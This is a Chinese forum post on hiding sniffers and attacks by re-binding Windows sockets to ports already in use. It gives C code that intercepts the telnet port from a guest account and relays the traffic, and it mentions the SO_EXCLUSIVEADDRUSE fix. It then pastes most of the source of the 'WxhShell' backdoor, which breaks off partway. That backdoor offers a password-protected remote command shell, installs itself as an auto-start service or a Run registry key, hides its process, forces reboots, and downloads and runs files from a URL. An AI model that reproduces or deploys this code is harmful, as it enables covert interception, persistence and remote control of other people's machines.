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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n+p }\msH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A}^mdw9  
{{1G`;|v 9  
  saddr.sin_family = AF_INET; =MWHJ'3-/  
}B^tL$k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #K&Gp-  
` %}RNC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -RLOD\ZBh  
y>LBl]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 06jQE2z2R  
tX[WH\(xI  
  这意味着什么?意味着可以进行如下的攻击: bd`P0f?  
9JwPSAo;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H*6W q  
d=^z`nt !R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r|Z{-*`  
3XKf!P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k{0o9,  
sq]F;=[5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  < Z$J<]I  
U!]dEW|G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0 "#HJA44  
.]Z"C&"N]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |?9HU~B  
)}v l\7=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P {'b:C  
lxi<F  
  #include [hs ds\  
  #include 8k79&|  
  #include M%#e1"n  
  #include    2qp#N%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P2Y^d#jO  
  int main() Kpp_|2|@<  
  { Y*hCMy;  
  WORD wVersionRequested; h];I{crh  
  DWORD ret; =M-p/uB]  
  WSADATA wsaData; wY}@'pzX  
  BOOL val; s^SJY{  
  SOCKADDR_IN saddr; LQ% `c  
  SOCKADDR_IN scaddr; \NC3'G:Ii  
  int err; nFn5v'g  
  SOCKET s; P;*(hY5&  
  SOCKET sc; ,?3G;-  
  int caddsize; E"0>yl)  
  HANDLE mt; GthYzd:'hJ  
  DWORD tid;   Ho%CDz z  
  wVersionRequested = MAKEWORD( 2, 2 ); +[P{&\d4}  
  err = WSAStartup( wVersionRequested, &wsaData ); Zc2PepIg  
  if ( err != 0 ) { 11lsf/IP  
  printf("error!WSAStartup failed!\n"); D{!IW!w  
  return -1; xC?h2hIt  
  } W!<U85-#S  
  saddr.sin_family = AF_INET; r*Xuj=  
   28nFRr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SAz   
=">NQ)98u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j!ch5A  
  saddr.sin_port = htons(23); pJ{Y lS{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W>LR\]Ti@  
  { ?# fQ~ s  
  printf("error!socket failed!\n"); .^g p?  
  return -1; gFh*eCo   
  } +h$ 9\  
  val = TRUE; _-\#i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cZ06Kx..  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W8<%[-r  
  { ,vDbp?)'U  
  printf("error!setsockopt failed!\n"); ZB{EmB0W  
  return -1; liSmjsk  
  } =Sv/IXX\di  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <uJ@:oWG7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |g~ZfnP_%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \DzGQ{`~m  
`x|?&Ytmf9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +n)9Tz5  
  { Z ]ONh  
  ret=GetLastError(); <}LC~B!  
  printf("error!bind failed!\n"); 5X+A"X ;C  
  return -1; #1[u (<AS  
  } rs.)CMk53  
  listen(s,2); U6VKMxSJ  
  while(1) BuwY3F\-O  
  { Xeaj xcop#  
  caddsize = sizeof(scaddr); U~8g_*  
  //接受连接请求 u4j5w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  XilS!,  
  if(sc!=INVALID_SOCKET) _j3fAr(V  
  { |{8Pb3#U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g5yJfRLxp  
  if(mt==NULL) ]?*wbxU0  
  { $C\BcKlmv  
  printf("Thread Creat Failed!\n"); ZW}_DT0  
  break; l ,8##7  
  } MPV5P^@X  
  } #F#%`Rv1  
  CloseHandle(mt); nK,w]{<wG!  
  } hQ i2U  
  closesocket(s); RZ7@cQY  
  WSACleanup(); >/|*DI-HJ  
  return 0; Uv.)?YeGh  
  }   40/Y\  
  DWORD WINAPI ClientThread(LPVOID lpParam) %LV9=!w  
  { +0~YP*I`/  
  SOCKET ss = (SOCKET)lpParam; grYe&(`X  
  SOCKET sc; G?ZXWu.  
  unsigned char buf[4096]; Y 7aqO5  
  SOCKADDR_IN saddr; /NlGFO*Z  
  long num; yw!{MO  
  DWORD val; ]3gSQ7  
  DWORD ret; xU vs:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 99S ^f:t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w &(ag$p'  
  saddr.sin_family = AF_INET; ,^:.dFH6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [~^0gAlQC  
  saddr.sin_port = htons(23); ;I*o@x_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T |p"0b A  
  { .h[:xYm  
  printf("error!socket failed!\n"); ZEQEx]Y  
  return -1; s>en  
  } H.c7Nle  
  val = 100; 25T18&R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K;(mC<  
  { O}P`P'Y|'  
  ret = GetLastError(); OPi0~s  
  return -1; $Y;RKe9  
  } j6YOKJX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;,TFr}p`  
  { \8 ":]EU  
  ret = GetLastError(); Tk>#G{Wb-  
  return -1; yuVs YV@"  
  } GmG 5[?)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U(Zq= M  
  { :+Z%; Dc  
  printf("error!socket connect failed!\n"); =I4lL]>  
  closesocket(sc); >Q/Dk7#  
  closesocket(ss); VQs5"K"  
  return -1; F:VIzyMq<  
  } GeqPRah  
  while(1) :Al!1BJQ  
  { ;j7#7MN2_E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dI2 V>vk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (mOtU8e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =vPj%oLp'a  
  num = recv(ss,buf,4096,0); 5\v3;;A[  
  if(num>0) CAe!7HiR  
  send(sc,buf,num,0); &L:!VL{I  
  else if(num==0) GVz6-T~\>  
  break; G)YcJv7  
  num = recv(sc,buf,4096,0); *_e3 @g  
  if(num>0) N;R^h? '  
  send(ss,buf,num,0); LLI.8kn7  
  else if(num==0) [RL9>n8f  
  break; >sF)Bo Lc  
  } cS$_\65  
  closesocket(ss); 0a7Ppntb@  
  closesocket(sc); fOHxtHM  
  return 0 ; 5N]"~w*  
  } jylD6IT  
UBs4K*h|  
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========================================================== i@q&5;%%  
)_:NLo:  
下边附上一个代码,,WXhSHELL 1cDF!X]  
Fcx&hj1gQ  
========================================================== }qUX=s GG  
NRuNKl.v  
#include "stdafx.h" 3'Rx=G'  
I'Hf{Erw  
#include <stdio.h> gr{ DWCK  
#include <string.h> z{543~Og59  
#include <windows.h> So6x"1B  
#include <winsock2.h> IgzQr >  
#include <winsvc.h> 3R/bz0 V>  
#include <urlmon.h> 'R)Tn!6  
KoRV %@I  
#pragma comment (lib, "Ws2_32.lib") rjP/l6 ~'  
#pragma comment (lib, "urlmon.lib") 0_/[k*Re  
lYIH/:T  
#define MAX_USER   100 // 最大客户端连接数 `XKLU  
#define BUF_SOCK   200 // sock buffer iCoX& "lb  
#define KEY_BUFF   255 // 输入 buffer "tZe>>I  
_g8yDfcLG  
#define REBOOT     0   // 重启 ^Pf WG*  
#define SHUTDOWN   1   // 关机 y7{?Ip4[  
h1RSVp+?n  
#define DEF_PORT   5000 // 监听端口 +_!QSU,@  
\wZe] G%S  
#define REG_LEN     16   // 注册表键长度 jdN` mosJ  
#define SVC_LEN     80   // NT服务名长度 YUb_y^B^  
RCrCs  
// 从dll定义API *a)n62  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mv><HqDL1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TC('H[ ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #mT"gs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5-V pJ  
-LSWmrj  
// wxhshell配置信息 $qiya[&G4  
struct WSCFG { "Q<MS'a  
  int ws_port;         // 监听端口 VTM/hJmwJ  
  char ws_passstr[REG_LEN]; // 口令 c L]1f  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~u{uZ(~  
  char ws_regname[REG_LEN]; // 注册表键名 SM '|+ d  
  char ws_svcname[REG_LEN]; // 服务名 0K+ne0I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 do_[&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3$tdwe$S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |)&%A%m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GyIV Hby  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #c J@uqR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Z*!#}z`  
.`lCWeHN  
}; !i50QA|(G  
gi8FHSU|G  
// default Wxhshell configuration ' QG?nu  
struct WSCFG wscfg={DEF_PORT, R-:2HRaA  
    "xuhuanlingzhe", txpgO1  
    1, K'bP@y_cq  
    "Wxhshell", Z;i:](  
    "Wxhshell", Dv"9qk  
            "WxhShell Service", ;gkM{={`p  
    "Wrsky Windows CmdShell Service", |4JEU3\$  
    "Please Input Your Password: ", 4 5e~6",  
  1, sB</DS  
  "http://www.wrsky.com/wxhshell.exe", XSDpRo  
  "Wxhshell.exe" Hz~zu{;{J  
    }; CAJ'zA|o  
r$1Qf}J3=  
// 消息定义模块 yevPHN"M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )4OxY[2J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *hx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yfSmDPh  
char *msg_ws_ext="\n\rExit."; hM{bavd  
char *msg_ws_end="\n\rQuit."; 3F3A%C%  
char *msg_ws_boot="\n\rReboot..."; +TJCLZ..  
char *msg_ws_poff="\n\rShutdown..."; M{@(G5  
char *msg_ws_down="\n\rSave to "; =(Mch~  
-~0^P,yQ  
char *msg_ws_err="\n\rErr!"; f 2.HF@  
char *msg_ws_ok="\n\rOK!";  \zkg  
BLttb  
char ExeFile[MAX_PATH]; R5D1w+  
int nUser = 0; b sX[UF  
HANDLE handles[MAX_USER]; pkzaNY/q  
int OsIsNt; DrR@n~  
?}0,o.  
SERVICE_STATUS       serviceStatus; |N2#ItBbW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Za9qjBH   
vt8By@]:  
// 函数声明 o4X{L`m  
int Install(void); Wc#24:OKe3  
int Uninstall(void); +2{Lh7Ks  
int DownloadFile(char *sURL, SOCKET wsh); 6t$8M[0-U  
int Boot(int flag); khe}*y  
void HideProc(void); Nc`L;CP  
int GetOsVer(void); L_T5nD^D  
int Wxhshell(SOCKET wsl); "[J^YKoF  
void TalkWithClient(void *cs); DI>s-7  
int CmdShell(SOCKET sock); e= AKD#  
int StartFromService(void); yAt ^;  
int StartWxhshell(LPSTR lpCmdLine); WJ#[LF!e  
? k/`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  @5FQX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bw7@5=?;  
Ytkv!]"  
// 数据结构和表定义 k:;r2f  
SERVICE_TABLE_ENTRY DispatchTable[] = az$FnVNn=  
{ v+XJ*N[W  
{wscfg.ws_svcname, NTServiceMain}, p2eGm-Erq  
{NULL, NULL} }tz7b#  
}; [WmM6UEVS  
iMlWM-wz>O  
// 自我安装 U/U);frH  
int Install(void) icgfB-1|i  
{ l **X^+=$  
  char svExeFile[MAX_PATH]; 6Oq 7#3]  
  HKEY key; Vk suu@cch  
  strcpy(svExeFile,ExeFile); 5+vaE 2v  
_/|\aqF.  
// 如果是win9x系统,修改注册表设为自启动 aUp g u"  
if(!OsIsNt) { ]9CFIh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^!d3=}:0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vN:Ng  
  RegCloseKey(key); >6T8^Nt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )GpK@R]{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d=(mw_-?  
  RegCloseKey(key); LoV<:|GTI  
  return 0; jp,4h4C^)  
    } K0~rN.C!0  
  } ?4,T}@P  
} 1?}T=)3+$  
else { A^g(k5M*  
dN q$}  
// 如果是NT以上系统,安装为系统服务 h{Y",7] !  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D7Z /H'|  
if (schSCManager!=0) gdc<ZYcM  
{ 7#Ft|5$~q  
  SC_HANDLE schService = CreateService tw;}jh  
  ( 1Mzmg[L8  
  schSCManager, [JiH\+XLPs  
  wscfg.ws_svcname, 5! {D!  
  wscfg.ws_svcdisp, 6Mf0`K  
  SERVICE_ALL_ACCESS,  ?9/G[[(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sRs>"zAg  
  SERVICE_AUTO_START, dV_G1'  
  SERVICE_ERROR_NORMAL, ?`s8 pPc4  
  svExeFile, e6*8K@LHB  
  NULL, **%37  
  NULL, lxx2H1([  
  NULL, RZLq]8pM  
  NULL, 3fj4%P"  
  NULL MtdG>TzUn  
  ); XS#Qu=,-  
  if (schService!=0) !L(^(;$Kgr  
  { C dn J&N{  
  CloseServiceHandle(schService); TjH][bH5  
  CloseServiceHandle(schSCManager); Y2AJ+ |  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pBHRa?Y5  
  strcat(svExeFile,wscfg.ws_svcname); x5Bk/e'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3og.y+.=U.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZK,G v  
  RegCloseKey(key); 6P3*Z  
  return 0; oJ^P(]dw  
    } X ?O[r3<  
  } K;?+8(H  
  CloseServiceHandle(schSCManager); y[;>#j$  
} l?e.9o2-  
} I7onX,U+  
yWK)vju"  
return 1; A.SvA Yn  
} ?,z}%p  
$Sq:q0  
// 自我卸载 wk^B"+Uhy  
int Uninstall(void) IGl9 g_18  
{ M`_0C38  
  HKEY key; HMXE$d=[  
Jy)/%p~  
if(!OsIsNt) { O.? JmE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rI\FI0zIp_  
  RegDeleteValue(key,wscfg.ws_regname); {}9a6.V;}  
  RegCloseKey(key); /~1+i'7V.,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MgZ/(X E  
  RegDeleteValue(key,wscfg.ws_regname); 4#D,?eA7  
  RegCloseKey(key); %9"H  
  return 0; [Xkx_B  
  } _a, s )  
} ,1`z"7\W  
} OUnA;_  
else { pa+hL,w{6  
:OT&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M\j.8jG  
if (schSCManager!=0) E .h*g8bXe  
{ 0GwR~Z}Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 43cE`9~  
  if (schService!=0) CIWO7bS  
  { KNl$3nX  
  if(DeleteService(schService)!=0) { 0GLM(JmK  
  CloseServiceHandle(schService); ~%oR[B7=|  
  CloseServiceHandle(schSCManager); 0-gAyiKx?  
  return 0; @7 }W=HB  
  } >P(.:_ ^p  
  CloseServiceHandle(schService); Uo49*Mr  
  } ?,/ }`3Vw  
  CloseServiceHandle(schSCManager); h[ ZN+M  
} kJU2C=m@e2  
}  " bG2:  
JF]JOI6.e  
return 1; lE;!TQj:X  
} kZ~~/?B  
9r9NxKuAO  
// 从指定url下载文件 9c],<;{'  
int DownloadFile(char *sURL, SOCKET wsh) S:}7q2:  
{ +T ?NH9  
  HRESULT hr; }V>T M{  
char seps[]= "/"; Om&Dw |xG8  
char *token; ~DWl s.  
char *file; vO=fP_  
char myURL[MAX_PATH]; cQ|NJ_F{1  
char myFILE[MAX_PATH]; 4-w{BZuS  
ZCw]m#lS  
strcpy(myURL,sURL); e20-h3h+  
  token=strtok(myURL,seps); $G>.\t  
  while(token!=NULL) ]:;&1h3'7  
  { }H4RR}g  
    file=token; %O<BfIZ  
  token=strtok(NULL,seps); Cx"sw }  
  } 2oW"'43X  
XW9!p.*.U  
GetCurrentDirectory(MAX_PATH,myFILE);  _F{C\}  
strcat(myFILE, "\\"); ~&O%N  
strcat(myFILE, file); reVgqYp{{-  
  send(wsh,myFILE,strlen(myFILE),0); }JfjX '  
send(wsh,"...",3,0); ?2a$*(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k)u[0}   
  if(hr==S_OK) =Qq+4F)MD  
return 0; IV-{ve6  
else =a!=2VN9y  
return 1; & kIFcd@  
:&Nbw  
} p_ =z#  
AW .F3hN)  
// 系统电源模块 0:+E-^X  
int Boot(int flag) E^PB)D(.  
{ i4Jc.8^9$  
  HANDLE hToken; oU|c.mYe  
  TOKEN_PRIVILEGES tkp; 8t`?#8D}  
0x7'^Z>-oe  
  if(OsIsNt) { $kgVa^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e!`i3KYn"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l6B@qYLZ  
    tkp.PrivilegeCount = 1; 3 $w65=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^aQ"E9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g}i61(  
if(flag==REBOOT) { PH"%kCI:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ru XC(qcq  
  return 0; =;k|*Ny  
} neh(<>  
else { "b[5]Y{ U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @o^Ww  
  return 0; ;jPXs  
} 5xde;  
  } l0] EX>"E  
  else { 4 :=]<sc,  
if(flag==REBOOT) { a?.=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @;kSx":b  
  return 0; |}1dFp  
} hph4`{T  
else { h![#;>(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f?b"iA(6  
  return 0; P2!C|SLK  
} zX~MC?,W1  
} l,: F  
Q&&@v4L   
return 1; m* ;ERK  
} v:p}B$  
g>sSS8R O  
// win9x进程隐藏模块 z2c6T.1M  
void HideProc(void) DJir{ \F  
{ zzz3Bq~  
07)yG:q*x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ddo#P%sH'  
  if ( hKernel != NULL ) BHw, 4#F1;  
  { . .-hAH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5r_|yu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); } %z   
    FreeLibrary(hKernel); aT<q=DO  
  } t Pf40`@  
$cR{o#  
return; i!cCMh8  
} HThcn1u~^b  
~Z+%d9ode  
// 获取操作系统版本 KG@8RtHsQ  
int GetOsVer(void) 8f7>?BUS,  
{ .B yuN  
  OSVERSIONINFO winfo; 2%> FR4a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oE~RyS X  
  GetVersionEx(&winfo); OTp]Xe/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .o8t+X'G  
  return 1; &R siVBA  
  else q =Il|Nb>  
  return 0; nie%eC&U  
} Wf<LR3  
I|J/F}@p  
// 客户端句柄模块 ^GX)Z~  
int Wxhshell(SOCKET wsl) DN/YHSYK  
{ a> )f=uS  
  SOCKET wsh; w:l"\Tm  
  struct sockaddr_in client; <or2  
  DWORD myID; W l1 6`9  
- DCbko  
  while(nUser<MAX_USER) yBRC*0+Vy  
{ m3ff;,  
  int nSize=sizeof(client); {^'HL   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4~=l}H>&  
  if(wsh==INVALID_SOCKET) return 1; 0ksa  
?}7p"3j'z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <| &Npd'  
if(handles[nUser]==0) 66 Tpi![  
  closesocket(wsh); 7 ?t6UPf  
else ^J d r>@  
  nUser++; v@Ox:wl>  
  } Wvqhl 'J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hef g[$m  
LF7SS;&~f  
  return 0; Gc!x|V;T  
} hEk$d.!}  
ZN6Z~SL_i~  
// 关闭 socket "mN q&$  
void CloseIt(SOCKET wsh) ^t"'rD-I  
{ FN; ^"H  
closesocket(wsh); {e5= &A  
nUser--; ZB&6<uw  
ExitThread(0); MfQ!6zE  
} L+QLLcS~EM  
Fx+*S3==%e  
// 客户端请求句柄 $SE^S   
void TalkWithClient(void *cs) 1 .X@;  
{ pNIf=lA  
i  LAscb  
  SOCKET wsh=(SOCKET)cs; TPY}C  
  char pwd[SVC_LEN]; rbpSg7}Q  
  char cmd[KEY_BUFF]; :ivf/x n  
char chr[1]; j=J/x:w_e  
int i,j; @I*{f  
|CzSU1ma  
  while (nUser < MAX_USER) { ]_f<kW\1*  
\4#W xZ  
if(wscfg.ws_passstr) { Rh |nP&6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z<phcqEi8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bTu9;(  
  //ZeroMemory(pwd,KEY_BUFF); C $JmzrE  
      i=0; "nWw;-V}}  
  while(i<SVC_LEN) { ERt{H3eCcJ  
#,.Hr#3nI  
  // 设置超时 }T$p)"  
  fd_set FdRead; f {"?%Ku#  
  struct timeval TimeOut; k'"%.7$U!  
  FD_ZERO(&FdRead); @R  6@]Dm  
  FD_SET(wsh,&FdRead); U?=Dg1  
  TimeOut.tv_sec=8; 9E tz[`|  
  TimeOut.tv_usec=0; qv*^fiT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e]tDy0@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h@h!,;  
>U3cTEs cj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RGU\h[  
  pwd=chr[0]; r4f~z$QK  
  if(chr[0]==0xd || chr[0]==0xa) { TU7' J  
  pwd=0; CA#,THty  
  break; nvUc\7(%NW  
  } 'eX '  
  i++; F\KUZ[%  
    } l (%1jC8  
,1##p77.  
  // 如果是非法用户,关闭 socket N"1B/u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +@:x!q|^  
} ym6K !i]q4  
6_ow%Rx~F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =>dGL|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <rmvcim{*  
lA-h`rl /  
while(1) { 2"S}bfrX  
xjUtl  
  ZeroMemory(cmd,KEY_BUFF); /OJ`c`>Q:  
O<e{  
      // 自动支持客户端 telnet标准   e*n@j  
  j=0; FkRo _?  
  while(j<KEY_BUFF) { t.'!`5G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0C*7K?/  
  cmd[j]=chr[0]; EU/8=JA1  
  if(chr[0]==0xa || chr[0]==0xd) { kM@zyDn,  
  cmd[j]=0; Rx|;=-8zg  
  break; *cnNuT  
  } {91nL'-'  
  j++; kE(mVyLQ  
    } 0<B$#8  
tdaL/rRe  
  // 下载文件 y#$CMf -q^  
  if(strstr(cmd,"http://")) { e NafpK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $D UZ!zaH!  
  if(DownloadFile(cmd,wsh)) HX{`Vah E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(mR> mT  
  else A_#DJJMm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !&Pui{F  
  } D #/Bx[  
  else { [ps*uva  
N{~Y J$!8  
    switch(cmd[0]) { BI}Cg{^km  
  3 SGDy]  
  // 帮助 E=w1=,/y  
  case '?': { 14'45  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .k \@zQ|Ta  
    break; u=_mvN  
  } t@Nyr&|D  
  // 安装 Dl8;$~  
  case 'i': { M {Q;:  
    if(Install()) wIBO ^w\J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Dm%@*B^b  
    else $"&{aa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BFJnV.0M!  
    break; [R7Y}k:9U  
    } s&!a  
  // 卸载 '-/xyAzS  
  case 'r': { k,F6Tx  
    if(Uninstall()) xpx\=iAe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A6iq[b]  
    else Nl(3Xqov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K>l~SDcZ3  
    break; 78H'ax9m  
    } yq iq,=OvP  
  // 显示 wxhshell 所在路径 4vV:EF-  
  case 'p': { 3gj+%%!G\  
    char svExeFile[MAX_PATH]; VgC2+APg  
    strcpy(svExeFile,"\n\r"); *~j@*{u  
      strcat(svExeFile,ExeFile); q,U+qt  
        send(wsh,svExeFile,strlen(svExeFile),0); f! .<$ih  
    break; _aMPa+D=P  
    } %\Mo-Ow!\  
  // 重启 6;qy#\}2  
  case 'b': { r s?R:+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ktm4 A O  
    if(Boot(REBOOT)) c#tjp(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uwx E<=z  
    else { Y0K[Sm>  
    closesocket(wsh); 1,!(0 5H  
    ExitThread(0); W#C*5@8  
    }  XJ5 .  
    break;  A4<Uu~  
    } m&?r%x  
  // 关机 A1?2*W  
  case 'd': { ;H.^i|_/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZH)="qx [  
    if(Boot(SHUTDOWN)) JNUt$h  
